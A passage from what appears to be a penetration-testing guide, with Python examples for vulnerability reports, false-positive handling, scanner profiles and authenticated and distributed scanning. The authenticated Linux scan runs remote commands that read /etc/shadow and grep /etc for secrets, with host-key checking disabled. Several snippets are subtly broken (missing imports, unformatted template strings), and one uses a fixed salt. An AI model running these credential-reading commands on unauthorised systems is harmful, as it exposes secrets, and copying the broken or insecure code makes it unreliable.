                    <span class="severity-badge severity-{finding.get('severity', 'Info')}">
                        {finding.get('severity', 'Info')}
                    </span>
                </h3>
                <p><strong>CVSS Score:</strong> {finding.get('cvss_score', 'N/A')}</p>
                <p><strong>Description:</strong> {finding.get('description')}</p>
                <p><strong>Impact:</strong> {finding.get('impact')}</p>
                <p><strong>Affected Systems:</strong> {', '.join(finding.get('affected_systems', []))}</p>
                <p><strong>Recommendation:</strong> {finding.get('recommendation')}</p>
            </div>
            """
            
        html += """
        </body>
        </html>
        """
        
        return html
    
    def get_severity_color(self, severity):
        """Get color code for severity"""
        colors = {
            'Critical': '#c0392b',
            'High': '#e67e22',
            'Medium': '#f1c40f',
            'Low': '#27ae60',
            'Info': '#3498db'
        }
        return colors.get(severity, '#7f8c8d')
    
    def save_html(self, filename):
        """Save HTML report to file"""
        html = self.generate_html()
        with open(filename, 'w') as f:
            f.write(html)
        print(f"[+] HTML report saved to {filename}")

# Example usage
report = VulnerabilityReport("Q3 Infrastructure Assessment", "Example Corp")

report.add_executive_summary("""
    This assessment identified several critical vulnerabilities requiring immediate attention.
    The most severe issues include unpatched remote code execution vulnerabilities in
    internet-facing systems and weak authentication mechanisms in internal applications.
    All findings have been validated and remediation recommendations are provided below.
""")

report.add_finding({
    'title': 'SQL Injection in Login Form',
    'severity': 'Critical',
    'cvss_score': 9.8,
    'description': 'The login form at /login.php is vulnerable to SQL injection attacks.',
    'impact': 'Attackers can bypass authentication and access all user data.',
    'affected_systems': ['webserver01 (192.168.1.100)'],
    'recommendation': 'Implement parameterized queries and input validation.'
})

report.save_html("vulnerability_report.html")

10.4.2 Executive Summary Writing

#!/usr/bin/env python3
# executive_summary.py

class ExecutiveSummaryGenerator:
    def __init__(self, assessment_data):
        self.data = assessment_data
        
    def generate_summary(self):
        """Generate executive summary from assessment data"""
        
        summary = f"""
        <h3>Assessment Overview</h3>
        <p>
            From {self.data['start_date']} to {self.data['end_date']}, {self.data['assessor']}
            performed a comprehensive vulnerability assessment of {self.data['scope_description']}.
            The assessment identified a total of {self.data['total_findings']} vulnerabilities
            across {self.data['total_systems']} systems.
        </p>
        
        <h3>Key Findings</h3>
        <ul>
        """
        
        for finding in self.data['key_findings']:
            summary += f"<li><strong>{finding['title']}</strong>: {finding['description']}</li>"
            
        summary += """
        </ul>
        
        <h3>Risk Exposure</h3>
        <p>
            The organization faces significant risk from {self.data['critical_count']} critical and
            {self.data['high_count']} high-severity vulnerabilities. Of particular concern are
            internet-facing systems with known exploitable vulnerabilities.
        </p>
        
        <h3>Recommended Actions</h3>
        <ol>
        """
        
        for rec in self.data['recommendations'][:5]:  # Top 5 recommendations
            summary += f"<li><strong>{rec['priority']}</strong>: {rec['description']}</li>"
            
        summary += """
        </ol>
        
        <h3>Conclusion</h3>
        <p>
            {self.data['conclusion']}
        </p>
        """
        
        return summary

# Example data
assessment_data = {
    'start_date': 'September 1, 2024',
    'end_date': 'September 15, 2024',
    'assessor': 'Kali Professional Services',
    'scope_description': 'the internal network (10.0.0.0/8) and external web applications',
    'total_findings': 47,
    'total_systems': 156,
    'critical_count': 8,
    'high_count': 15,
    'key_findings': [
        {'title': 'EOL Operating Systems', 
         'description': '23 systems running Windows 7 or Server 2008 which are no longer supported'},
        {'title': 'Default Credentials', 
         'description': 'Network devices with default administrative credentials'},
        {'title': 'Unpatched Vulnerabilities', 
         'description': 'Critical RCE vulnerabilities in internet-facing web servers'}
    ],
    'recommendations': [
        {'priority': 'Immediate', 
         'description': 'Patch or isolate systems with critical RCE vulnerabilities'},
        {'priority': 'High', 
         'description': 'Replace all end-of-life operating systems'},
        {'priority': 'High', 
         'description': 'Implement multi-factor authentication for all administrative access'},
        {'priority': 'Medium', 
         'description': 'Conduct regular vulnerability scans and establish patch management process'},
        {'priority': 'Medium', 
         'description': 'Develop and implement security awareness training'}
    ],
    'conclusion': 'While the organization has implemented basic security controls, significant gaps exist in patch management and configuration hardening. A focused remediation effort addressing the identified vulnerabilities will substantially improve the security posture.'
}

generator = ExecutiveSummaryGenerator(assessment_data)
summary = generator.generate_summary()
print(summary)

10.5 False Positive Handling

Managing false positives is critical for maintaining the credibility and usefulness of vulnerability assessments.

10.5.1 False Positive Identification

#!/usr/bin/env python3
# false_positive_analysis.py

import json
import subprocess
import re
from typing import Dict, List

class FalsePositiveAnalyzer:
    def __init__(self):
        self.false_positive_patterns = {
            'missing_headers': [
                'X-Frame-Options',
                'X-Content-Type-Options',
                'Content-Security-Policy'
            ],
            'version_mismatch': [
                r'Server: Apache/(\d+\.\d+\.\d+)',
                r'nginx/(\d+\.\d+\.\d+)'
            ],
            'default_pages': [
                'Apache2 Default Page',
                'Welcome to nginx',
                'IIS Windows Server'
            ]
        }
        
    def analyze_finding(self, finding: Dict) -> Dict:
        """Analyze finding for false positive indicators"""
        
        fp_indicators = []
        confidence = "low"
        
        # Check finding type
        finding_type = finding.get('type', '')
        
        if finding_type == 'missing_header':
            # Verify if header is actually missing
            header_name = finding.get('header')
            actual_headers = self.check_headers(finding.get('target'))
            
            if header_name in actual_headers:
                fp_indicators.append(f"Header {header_name} actually present")
                
        elif finding_type == 'outdated_version':
            # Verify version
            actual_version = self.get_actual_version(finding.get('target'))
            reported_version = finding.get('version')
            
            if actual_version == reported_version:
                # Version matches, likely not false positive
                pass
            else:
                fp_indicators.append(f"Version mismatch: reported {reported_version}, actual {actual_version}")
                
        elif finding_type == 'default_page':
            # Check if it's actually a default page
            content = self.get_page_content(finding.get('target'))
            
            for pattern in self.false_positive_patterns['default_pages']:
                if pattern in content:
                    fp_indicators.append(f"Default page pattern '{pattern}' found")
                    confidence = "high"
                    
        # Calculate false positive probability
        if len(fp_indicators) > 0:
            probability = min(len(fp_indicators) * 0.3, 0.9)  # Max 90%
        else:
            probability = 0.1
            
        return {
            'finding_id': finding.get('id'),
            'false_positive_indicators': fp_indicators,
            'false_positive_probability': probability,
            'confidence': confidence,
            'requires_manual_review': probability > 0.7
        }
    
    def check_headers(self, target):
        """Check actual HTTP headers"""
        try:
            import requests
            response = requests.get(f"http://{target}", timeout=5, verify=False)
            return response.headers
        except:
            return {}
    
    def get_actual_version(self, target):
        """Get actual software version"""
        try:
            import requests
            response = requests.get(f"http://{target}", timeout=5, verify=False)
            server = response.headers.get('Server', '')
            
            # Extract version from Server header
            for pattern in self.false_positive_patterns['version_mismatch']:
                match = re.search(pattern, server)
                if match:
                    return match.group(1)
        except:
            pass
        return None
    
    def get_page_content(self, target):
        """Get page content"""
        try:
            import requests
            response = requests.get(f"http://{target}", timeout=5, verify=False)
            return response.text
        except:
            return ""
    
    def batch_analyze(self, findings: List[Dict]) -> List[Dict]:
        """Analyze multiple findings"""
        results = []
        for finding in findings:
            analysis = self.analyze_finding(finding)
            if analysis['false_positive_probability'] > 0.5:
                results.append(analysis)
        return results

# Example usage
analyzer = FalsePositiveAnalyzer()
findings = [
    {
        'id': 'FP001',
        'type': 'missing_header',
        'header': 'X-Frame-Options',
        'target': 'example.com'
    }
]
results = analyzer.batch_analyze(findings)
print(json.dumps(results, indent=2))

10.5.2 Validation Workflow

#!/usr/bin/env python3
# validation_workflow.py

import json
import datetime
from enum import Enum

class ValidationStatus(Enum):
    PENDING = "pending"
    CONFIRMED = "confirmed"
    FALSE_POSITIVE = "false_positive"
    WONTFIX = "wontfix"
    NOT_APPLICABLE = "n/a"

class ValidationWorkflow:
    def __init__(self):
        self.findings_db = {}
        self.validation_queue = []
        
    def add_finding(self, finding):
        """Add finding to validation queue"""
        finding_id = finding.get('id', f"VULN-{len(self.findings_db)+1:04d}")
        finding['id'] = finding_id
        finding['validation_status'] = ValidationStatus.PENDING.value
        finding['validation_notes'] = []
        finding['last_validated'] = None
        
        self.findings_db[finding_id] = finding
        self.validation_queue.append(finding_id)
        
        return finding_id
    
    def manual_validate(self, finding_id, validator, notes, status):
        """Manually validate a finding"""
        if finding_id not in self.findings_db:
            return False
            
        finding = self.findings_db[finding_id]
        
        validation_entry = {
            'timestamp': datetime.datetime.now().isoformat(),
            'validator': validator,
            'notes': notes,
            'status': status.value
        }
        
        finding['validation_notes'].append(validation_entry)
        finding['validation_status'] = status.value
        finding['last_validated'] = validation_entry['timestamp']
        
        # Remove from queue if validated
        if finding_id in self.validation_queue:
            self.validation_queue.remove(finding_id)
            
        return True
    
    def auto_validate(self, analyzer):
        """Automatically validate findings"""
        validated = []
        
        for finding_id in list(self.validation_queue):
            finding = self.findings_db[finding_id]
            
            # Use analyzer to check for false positives
            analysis = analyzer.analyze_finding(finding)
            
            if analysis['false_positive_probability'] > 0.8:
                # High probability of false positive
                self.manual_validate(
                    finding_id,
                    "Auto-Validator",
                    f"Auto-validated as false positive (confidence: {analysis['confidence']})",
                    ValidationStatus.FALSE_POSITIVE
                )
                validated.append({
                    'finding_id': finding_id,
                    'action': 'false_positive',
                    'confidence': analysis['false_positive_probability']
                })
            elif analysis['false_positive_probability'] < 0.2:
                # Low probability of false positive
                self.manual_validate(
                    finding_id,
                    "Auto-Validator",
                    f"Auto-validated as confirmed (confidence: {analysis['confidence']})",
                    ValidationStatus.CONFIRMED
                )
                validated.append({
                    'finding_id': finding_id,
                    'action': 'confirmed',
                    'confidence': analysis['false_positive_probability']
                })
                
        return validated
    
    def generate_validation_report(self):
        """Generate validation status report"""
        
        report = {
            'total_findings': len(self.findings_db),
            'pending_validation': len(self.validation_queue),
            'validation_summary': {},
            'findings': []
        }
        
        # Count by status
        for finding in self.findings_db.values():
            status = finding['validation_status']
            report['validation_summary'][status] = report['validation_summary'].get(status, 0) + 1
            
            # Add to findings list
            report['findings'].append({
                'id': finding['id'],
                'title': finding.get('title', ''),
                'status': status,
                'last_validated': finding['last_validated']
            })
            
        return report

# Example usage
workflow = ValidationWorkflow()
analyzer = FalsePositiveAnalyzer()

# Add some findings
finding1 = {
    'title': 'SQL Injection',
    'type': 'sql_injection',
    'severity': 'Critical',
    'target': '192.168.1.100'
}

finding2 = {
    'title': 'Missing X-Frame-Options',
    'type': 'missing_header',
    'header': 'X-Frame-Options',
    'target': '192.168.1.100'
}

id1 = workflow.add_finding(finding1)
id2 = workflow.add_finding(finding2)

# Auto-validate
validated = workflow.auto_validate(analyzer)
print(f"Auto-validated {len(validated)} findings")

# Manual validation
workflow.manual_validate(
    id1,
    "John Smith",
    "Manually verified SQL injection using sqlmap",
    ValidationStatus.CONFIRMED
)

# Generate report
report = workflow.generate_validation_report()
print(json.dumps(report, indent=2))

Chapter 11 — Vulnerability Scanners

Vulnerability scanners automate the process of identifying security weaknesses across networks and applications. This chapter covers the configuration, tuning, and effective use of both open-source and commercial scanners.

11.1 Configuration & Tuning

Proper scanner configuration ensures accurate results while minimizing false positives and network impact.

11.1.1 Scanner Architecture

#!/usr/bin/env python3
# scanner_config.py

import json
import ipaddress
from typing import List, Dict

class ScannerConfiguration:
    def __init__(self):
        self.config = {
            'general': {
                'name': '',
                'scan_type': 'full',
                'max_hosts': 256,
                'max_ports': 1000,
                'timeout': 30,
                'retries': 3,
                'throttle': 100,  # packets per second
                'randomize_hosts': True,
                'randomize_ports': True
            },
            'discovery': {
                'ping_types': ['icmp', 'tcp_syn', 'tcp_ack', 'udp', 'arp'],
                'ping_timeout': 2,
                'max_rtt': 5000,
                'host_timeout': 10
            },
            'port_scan': {
                'technique': 'connect',  # connect, syn, fin, xmas, null
                'port_range': '1-1000',
                'exclude_ports': [],
                'service_detection': True,
                'version_intensity': 7
            },
            'vulnerability_scan': {
                'enabled': True,
                'plugins': ['all'],
                'exclude_plugins': [],
                'safe_checks': True,
                'performance_impact': 'normal',  # low, normal, high
                'stop_on_first': False
            },
            'web_scan': {
                'enabled': False,
                'user_agent': 'Mozilla/5.0 Scanner',
                'max_pages': 100,
                'max_depth': 3,
                'follow_redirects': True,
                'cookie_jar': None,
                'http_methods': ['GET', 'POST', 'HEAD'],
                'detect_technologies': True
            },
            'credentials': {
                'windows': [],
                'linux': [],
                'web': [],
                'database': []
            },
            'logging': {
                'level': 'info',
                'file': '/var/log/scanner.log',
                'verbose': True,
                'debug': False
            },
            'output': {
                'formats': ['xml', 'html', 'json'],
                'report_name': '',
                'include_debug_info': False,
                'compress_report': False
            }
        }
        
    def load_config(self, filename: str) -> bool:
        """Load configuration from JSON file"""
        try:
            with open(filename, 'r') as f:
                loaded_config = json.load(f)
                self.config.update(loaded_config)
            return True
        except Exception as e:
            print(f"Error loading config: {e}")
            return False
            
    def save_config(self, filename: str):
        """Save configuration to JSON file"""
        with open(filename, 'w') as f:
            json.dump(self.config, f, indent=2)
            
    def set_targets(self, targets: List[str]):
        """Set scan targets"""
        validated_targets = []
        
        for target in targets:
            try:
                # Check if it's a CIDR range
                if '/' in target:
                    network = ipaddress.ip_network(target, strict=False)
                    validated_targets.append(str(network))
                else:
                    # Single IP or hostname
                    ipaddress.ip_address(target)
                    validated_targets.append(target)
            except:
                # Assume it's a hostname
                validated_targets.append(target)
                
        self.config['targets'] = validated_targets
        return validated_targets
    
    def create_scan_profile(self, name: str, profile_type: str):
        """Create predefined scan profile"""
        
        profiles = {
            'quick': {
                'scan_type': 'quick',
                'max_hosts': 100,
                'max_ports': 100,
                'throttle': 500,
                'port_range': '1-1000',
                'vulnerability_scan': {'enabled': False},
                'web_scan': {'enabled': False}
            },
            'standard': {
                'scan_type': 'standard',
                'max_hosts': 256,
                'max_ports': 1000,
                'throttle': 200,
                'port_range': '1-10000',
                'vulnerability_scan': {'enabled': True, 'safe_checks': True},
                'web_scan': {'enabled': False}
            },
            'comprehensive': {
                'scan_type': 'comprehensive',
                'max_hosts': 50,
                'max_ports': 65535,
                'throttle': 50,
                'port_range': '1-65535',
                'vulnerability_scan': {'enabled': True, 'safe_checks': False, 'performance_impact': 'high'},
                'web_scan': {'enabled': True, 'max_pages': 500}
            },
            'stealth': {
                'scan_type': 'stealth',
                'max_hosts': 50,
                'max_ports': 500,
                'throttle': 10,
                'port_range': '1-1000',
                'discovery': {'ping_types': ['tcp_syn']},
                'port_scan': {'technique': 'syn'},
                'vulnerability_scan': {'enabled': True, 'safe_checks': True},
                'web_scan': {'enabled': False}
            }
        }
        
        if profile_type in profiles:
            self.config.update(profiles[profile_type])
            self.config['profile_name'] = name
            return True
        return False

# Example usage
scanner_config = ScannerConfiguration()
scanner_config.create_scan_profile('Internal Network Scan', 'comprehensive')
scanner_config.set_targets(['10.0.0.0/24', '192.168.1.100'])
scanner_config.save_config('scan_config.json')

11.1.2 Performance Tuning

#!/usr/bin/env python3
# performance_tuning.py

import time
import psutil
import threading
from typing import Dict

class ScanOptimizer:
    def __init__(self):
        self.system_stats = self.get_system_stats()
        self.scan_stats = {
            'packets_sent': 0,
            'packets_received': 0,
            'scan_duration': 0,
            'hosts_scanned': 0,
            'ports_scanned': 0,
            'errors': 0
        }
        
    def get_system_stats(self) -> Dict:
        """Get current system resource statistics"""
        return {
            'cpu_percent': psutil.cpu_percent(interval=1),
            'memory_percent': psutil.virtual_memory().percent,
            'network_sent': psutil.net_io_counters().bytes_sent,
            'network_recv': psutil.net_io_counters().bytes_recv
        }
        
    def calculate_optimal_threads(self) -> int:
        """Calculate optimal thread count based on system resources"""
        
        cpu_count = psutil.cpu_count()
        memory_available = psutil.virtual_memory().available / (1024 * 1024)  # MB
        
        # Base calculation
        optimal_threads = cpu_count * 4
        
        # Adjust based on memory
        if memory_available < 512:  # Less than 512MB free
            optimal_threads = optimal_threads // 2
        elif memory_available > 4096:  # More than 4GB free
            optimal_threads = optimal_threads * 2
            
        # Cap at reasonable limits
        optimal_threads = max(1, min(optimal_threads, 100))
        
        return optimal_threads
    
    def calculate_optimal_rate(self, target_network: str) -> int:
        """Calculate optimal packet rate based on network conditions"""
        
        # Measure baseline network latency
        try:
            import subprocess
            result = subprocess.run(
                ['ping', '-c', '5', '-W', '1', target_network.split('/')[0]],
                capture_output=True,
                text=True,
                timeout=10
            )
            
            # Parse average latency
            for line in result.stdout.split('\n'):
                if 'avg' in line:
                    avg_latency = float(line.split('/')[4])
                    break
            else:
                avg_latency = 50  # Default assumption
                
        except:
            avg_latency = 50
            
        # Calculate rate based on latency
        if avg_latency < 10:  # Very fast network
            return 1000
        elif avg_latency < 50:  # Fast network
            return 500
        elif avg_latency < 100:  # Average network
            return 200
        elif avg_latency < 200:  # Slow network
            return 100
        else:  # Very slow network
            return 50
            
    def monitor_scan_performance(self, scan_function):
        """Decorator to monitor scan performance"""
        
        def wrapper(*args, **kwargs):
            start_time = time.time()
            start_stats = self.get_system_stats()
            
            # Run the scan
            result = scan_function(*args, **kwargs)
            
            end_time = time.time()
            end_stats = self.get_system_stats()
            
            # Calculate metrics
            duration = end_time - start_time
            cpu_usage = (end_stats['cpu_percent'] + start_stats['cpu_percent']) / 2
            memory_used = end_stats['memory_percent'] - start_stats['memory_percent']
            network_sent = end_stats['network_sent'] - start_stats['network_sent']
            network_recv = end_stats['network_recv'] - start_stats['network_recv']
            
            # Update scan stats
            self.scan_stats.update({
                'scan_duration': duration,
                'avg_cpu_usage': cpu_usage,
                'memory_used': memory_used,
                'network_sent_mb': network_sent / (1024 * 1024),
                'network_recv_mb': network_recv / (1024 * 1024)
            })
            
            print(f"\n[+] Scan Performance Metrics:")
            print(f"    Duration: {duration:.2f} seconds")
            print(f"    Avg CPU Usage: {cpu_usage:.1f}%")
            print(f"    Memory Used: {memory_used:.1f}%")
            print(f"    Network Sent: {network_sent/(1024*1024):.2f} MB")
            print(f"    Network Received: {network_recv/(1024*1024):.2f} MB")
            
            return result
            
        return wrapper

# Example usage
optimizer = ScanOptimizer()
optimal_threads = optimizer.calculate_optimal_threads()
optimal_rate = optimizer.calculate_optimal_rate('192.168.1.0/24')

print(f"[+] Optimal thread count: {optimal_threads}")
print(f"[+] Optimal packet rate: {optimal_rate} pkts/sec")

11.2 Authenticated Scanning

Authenticated scanning provides deeper visibility by logging into systems to examine configuration and patch levels.

11.2.1 Credential Management

#!/usr/bin/env python3
# credential_manager.py

import json
import getpass
import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2

class CredentialManager:
    def __init__(self, key_file='.scan_key'):
        self.key_file = key_file
        self.key = self.load_or_create_key()
        self.cipher = Fernet(self.key)
        self.credentials = {}
        
    def load_or_create_key(self):
        """Load existing key or create new one"""
        try:
            with open(self.key_file, 'rb') as f:
                return f.read()
        except FileNotFoundError:
            # Generate key from password
            password = getpass.getpass("Enter master password for credential storage: ")
            salt = b'salt_'  # In production, use random salt
            kdf = PBKDF2(
                algorithm=hashes.SHA256(),
                length=32,
                salt=salt,
                iterations=100000,
            )
            key = base64.urlsafe_b64encode(kdf.derive(password.encode()))
            
            # Save key
            with open(self.key_file, 'wb') as f:
                f.write(key)
                
            return key
    
    def add_credential(self, host: str, username: str, password: str, 
                       domain: str = None, cred_type: str = 'local'):
        """Add encrypted credential"""
        
        cred_id = f"{host}_{username}"
        
        credential = {
            'host': host,
            'username': username,
            'password': password,
            'domain': domain,
            'type': cred_type,
            'added': time.strftime('%Y-%m-%d %H:%M:%S')
        }
        
        # Encrypt the credential
        encrypted = self.cipher.encrypt(json.dumps(credential).encode())
        self.credentials[cred_id] = encrypted
        
        return cred_id
    
    def get_credential(self, cred_id: str) -> Dict:
        """Retrieve and decrypt credential"""
        if cred_id not in self.credentials:
            return None
            
        encrypted = self.credentials[cred_id]
        decrypted = self.cipher.decrypt(encrypted)
        return json.loads(decrypted)
    
    def find_credentials_for_host(self, host: str, cred_type: str = None) -> List[Dict]:
        """Find all credentials for a specific host"""
        found = []
        
        for cred_id in self.credentials:
            if host in cred_id:
                cred = self.get_credential(cred_id)
                if cred_type is None or cred['type'] == cred_type:
                    found.append(cred)
                    
        return found
    
    def save_credentials(self, filename: str):
        """Save encrypted credentials to file"""
        with open(filename, 'w') as f:
            # Convert bytes to string for JSON
            serializable = {k: v.decode() for k, v in self.credentials.items()}
            json.dump(serializable, f)
            
    def load_credentials(self, filename: str):
        """Load encrypted credentials from file"""
        with open(filename, 'r') as f:
            serializable = json.load(f)
            self.credentials = {k: v.encode() for k, v in serializable.items()}

# Example usage
cm = CredentialManager()
cm.add_credential('192.168.1.100', 'administrator', 'P@ssw0rd123', 'DOMAIN', 'windows')
cm.save_credentials('scan_creds.json')

11.2.2 Authenticated Scan Configuration

#!/usr/bin/env python3
# authenticated_scan.py

import subprocess
import json
from typing import List, Dict

class AuthenticatedScanner:
    def __init__(self, credential_manager):
        self.cred_manager = credential_manager
        
    def prepare_linux_scan(self, host: str, credentials: Dict):
        """Prepare authenticated Linux scan"""
        
        # Create SSH command for remote execution
        ssh_cmd = [
            'sshpass', '-p', credentials['password'],
            'ssh', '-o', 'StrictHostKeyChecking=no',
            '-o', 'ConnectTimeout=10',
            f"{credentials['username']}@{host}"
        ]
        
        # Commands to gather system information
        commands = [
            'uname -a',
            'cat /etc/os-release',
            'dpkg -l || rpm -qa',  # Package list
            'sudo -l',  # Sudo privileges
            'cat /etc/passwd',
            'cat /etc/shadow',
            'find / -type f -perm -4000 -ls 2>/dev/null',  # SUID files
            'systemctl list-units --type=service --all',  # Services
            'crontab -l',
            'ls -la /etc/cron*',
            'ss -tulpn',
            'iptables -L -n',
            'grep -r "PASSWORD\|SECRET\|KEY" /etc/ 2>/dev/null'
        ]
        
        results = {}
        for cmd in commands:
            try:
                full_cmd = ssh_cmd + [cmd]
                result = subprocess.run(
                    full_cmd,
                    capture_output=True,
                    text=True,
                    timeout=30
                )
                results[cmd] = result.stdout
            except Exception as e:
                results[cmd] = f"Error: {e}"
                
        return results
    
    def prepare_windows_scan(self, host: str, credentials: Dict):
        """Prepare authenticated Windows scan using PowerShell Remoting"""
        
        # Using PowerShell Remoting (WinRM)
        ps_commands = [
            'Get-ComputerInfo',
            'Get-WmiObject Win32_OperatingSystem',
            'Get-Service',
            'Get-Process',
            'Get-LocalUser',
            'Get-LocalGroupMember Administrators',
            'Get-ScheduledTask',
            'Get-ChildItem Env:',
            'Get-WmiObject Win32_Product',
            'Get-HotFix',
            'Get-NetTCPConnection',
            'Get-NetFirewallProfile'
        ]
        
        results = {}
        for cmd in ps_commands:
            # Using PowerShell Remoting
            ps_cmd = [
                'powershell',
                '-Command',
                f'Invoke-Command -ComputerName {host} -Credential (New-Object System.Management.Automation.PSCredential("{credentials["username"]}", (ConvertTo-SecureString "{credentials["password"]}" -AsPlainText -Force))) -ScriptBlock {{{cmd}}}'
            ]
            
            # This is simplified - actual implementation would use proper WinRM
            results[cmd] = "Implementation requires proper WinRM setup"
            
        return results
    
    def run_authenticated_scan(self, hosts: List[str], cred_type: str = 'local'):
        """Run authenticated scans on multiple hosts"""
        
        results = {}
        
        for host in hosts:
            # Find credentials for this host
            creds = self.cred_manager.find_credentials_for_host(host, cred_type)
            
            if not creds:
                print(f"[!] No credentials found for {host}")
                continue
                
            # Try each credential
            for cred in creds:
                print(f"[*] Attempting authenticated scan of {host} with {cred['username']}")
                
                if cred['type'] == 'linux':
                    host_results = self.prepare_linux_scan(host, cred)
                elif cred['type'] == 'windows':
                    host_results = self.prepare_windows_scan(host, cred)
                else:
                    continue
                    
                if host_results:
                    results[host] = {
                        'credential_used': cred['username'],
                        'scan_results': host_results
                    }
                    break  # Stop after first successful credential
                    
        return results

# Example usage
cred_manager = CredentialManager()
scanner = AuthenticatedScanner(cred_manager)
results = scanner.run_authenticated_scan(['192.168.1.100'])

11.3 Scan Optimization

Optimizing scans reduces time and network impact while maintaining coverage.

11.3.1 Intelligent Scanning Strategies

#!/usr/bin/env python3
# scan_optimization.py

import ipaddress
import time
from collections import defaultdict

class IntelligentScanner:
    def __init__(self):
        self.scan_history = {}
        self.network_profiles = defaultdict(dict)
        
    def learn_network_patterns(self, scan_results: Dict):
        """Learn patterns from previous scans"""
        
        for host, result in scan_results.items():
            ip = ipaddress.ip_address(host)
            
            # Group by network
            network = str(ipaddress.ip_network(f"{ip}/24", strict=False))
            
            # Learn common ports
            open_ports = result.get('open_ports', [])
            for port in open_ports:
                if port not in self.network_profiles[network]:
                    self.network_profiles[network][port] = 1
                else:
                    self.network_profiles[network][port] += 1
                    
    def predict_ports(self, ip: str) -> List[int]:
        """Predict likely open ports based on network patterns"""
        
        ip_obj = ipaddress.ip_address(ip)
        network = str(ipaddress.ip_network(f"{ip_obj}/24", strict=False))
        
        if network not in self.network_profiles:
            return [80, 443, 22, 21, 25, 53, 110, 143]  # Default common ports
            
        # Sort by frequency
        profile = self.network_profiles[network]
        sorted_ports = sorted(profile.items(), key=lambda x: x[1], reverse=True)
        
        return [port for port, count in sorted_ports[:20]]
    
    def adaptive_scan(self, target: str, initial_scan: bool = True):
        """Adapt scan based on initial findings"""
        
        if initial_scan:
            # Quick initial scan
            ports = self.predict_ports(target)[:5]  # Top 5 predicted ports
            
            # Perform quick scan
            quick_results = self.quick_scan(target, ports)
            
            # Analyze results to determine next steps
            if self.is_web_server(quick_results):
                # Deep web scan
                return self.deep_web_scan(target)
            elif self.is_database_server(quick_results):
                # Database-focused scan
                return self.database_scan(target)
            else:
                # Standard comprehensive scan
                return self.comprehensive_scan(target)
        else:
            # Full scan based on learned patterns
            all_predicted = self.predict_ports(target)
            return self.full_scan(target, all_predicted)
    
    def quick_scan(self, target: str, ports: List[int]) -> Dict:
        """Perform quick scan on specified ports"""
        print(f"[*] Quick scanning {target} on ports {ports}")
        
        import nmap
        nm = nmap.PortScanner()
        
        port_str = ','.join(map(str, ports))
        nm.scan(target, port_str, arguments='-sS -T4')
        
        return nm[target] if target in nm else {}
    
    def is_web_server(self, scan_results: Dict) -> bool:
        """Determine if target is a web server"""
        web_ports = [80, 443, 8080, 8443]
        
        for port in web_ports:
            if port in scan_results.get('tcp', {}):
                service = scan_results['tcp'][port].get('name', '')
                if 'http' in service or 'www' in service:
                    return True
        return False
    
    def is_database_server(self, scan_results: Dict) -> bool:
        """Determine if target is a database server"""
        db_ports = {
            3306: 'mysql',
            5432: 'postgresql',
            1521: 'oracle',
            1433: 'mssql',
            27017: 'mongodb'
        }
        
        for port, db_type in db_ports.items():
            if port in scan_results.get('tcp', {}):
                service = scan_results['tcp'][port].get('name', '')
                if db_type in service:
                    return True
        return False
    
    def deep_web_scan(self, target: str) -> Dict:
        """Perform deep web application scan"""
        print(f"[*] Performing deep web scan on {target}")
        
        # Use specialized web scanners
        web_results = {
            'nikto': self.run_nikto(target),
            'whatweb': self.run_whatweb(target),
            'dirb': self.run_dirb(target),
            'wapiti': self.run_wapiti(target)
        }
        
        return web_results
    
    def database_scan(self, target: str) -> Dict:
        """Perform database-focused scan"""
        print(f"[*] Performing database scan on {target}")
        
        db_results = {
            'version_scan': self.database_version_check(target),
            'default_creds': self.check_default_credentials(target),
            'sql_scan': self.run_sqlmap(target)
        }
        
        return db_results
    
    def comprehensive_scan(self, target: str) -> Dict:
        """Perform comprehensive system scan"""
        print(f"[*] Performing comprehensive scan on {target}")
        
        import nmap
        nm = nmap.PortScanner()
        
        # Full port scan with version detection and default scripts
        nm.scan(target, arguments='-sS -sV -sC -O -p- --min-rate 1000')
        
        return nm[target] if target in nm else {}
    
    # Placeholder methods for external tools
    def run_nikto(self, target): return {"status": "placeholder"}
    def run_whatweb(self, target): return {"status": "placeholder"}
    def run_dirb(self, target): return {"status": "placeholder"}
    def run_wapiti(self, target): return {"status": "placeholder"}
    def database_version_check(self, target): return {"status": "placeholder"}
    def check_default_credentials(self, target): return {"status": "placeholder"}
    def run_sqlmap(self, target): return {"status": "placeholder"}
    def full_scan(self, target, ports): return {"status": "placeholder"}

# Example usage
scanner = IntelligentScanner()
# After initial scan
scanner.learn_network_patterns({
    '192.168.1.100': {'open_ports': [80, 443, 22]},
    '192.168.1.101': {'open_ports': [80, 3306]}
})

# Adaptive scan for new host
results = scanner.adaptive_scan('192.168.1.102')
print(json.dumps(results, indent=2))

11.3.2 Distributed Scanning

#!/usr/bin/env python3
# distributed_scan.py

import socket
import json
import threading
import queue
import time
from typing import List, Dict

class ScanWorker:
    def __init__(self, worker_id, controller_host, controller_port):
        self.worker_id = worker_id
        self.controller_host = controller_host
        self.controller_port = controller_port
        self.running = True
        self.task_queue = queue.Queue()
        self.results_queue = queue.Queue()
        
    def register_with_controller(self):
        """Register this worker with the controller"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.controller_host, self.controller_port))
            
            registration = {
                'type': 'register',
                'worker_id': self.worker_id,
                'capabilities': ['nmap', 'masscan', 'nikto']
            }
            sock.send(json.dumps(registration).encode())
            sock.close()
        except Exception as e:
            print(f"Registration failed: {e}")
            
    def get_task(self):
        """Get next task from controller"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.controller_host, self.controller_port))
            
            request = {
                'type': 'get_task',
                'worker_id': self.worker_id
            }
            sock.send(json.dumps(request).encode())
            
            response = sock.recv(8192).decode()
            sock.close()
            
            return json.loads(response)
        except Exception as e:
            print(f"Error getting task: {e}")
            return None
            
    def submit_result(self, task_id, result):
        """Submit scan result to controller"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.controller_host, self.controller_port))
            
            submission = {
                'type': 'submit_result',
                'worker_id': self.worker_id,
                'task_id': task_id,
                'result': result
            }
            sock.send(json.dumps(submission).encode())
            sock.close()
        except Exception as e:
            print(f"Error submitting result: {e}")
            
    def execute_task(self, task):
        """Execute a scan task"""
        task_type = task.get('type')
        target = task.get('target')
        
        if task_type == 'port_scan':
            return self.execute_port_scan(target, task.get('ports', '1-1000'))
        elif task_type == 'vuln_scan':
            return self.execute_vuln_scan(target, task.get('ports'))
        elif task_type == 'web_scan':
            return self.execute_web_scan(target)
        else:
            return {'error': 'Unknown task type'}
            
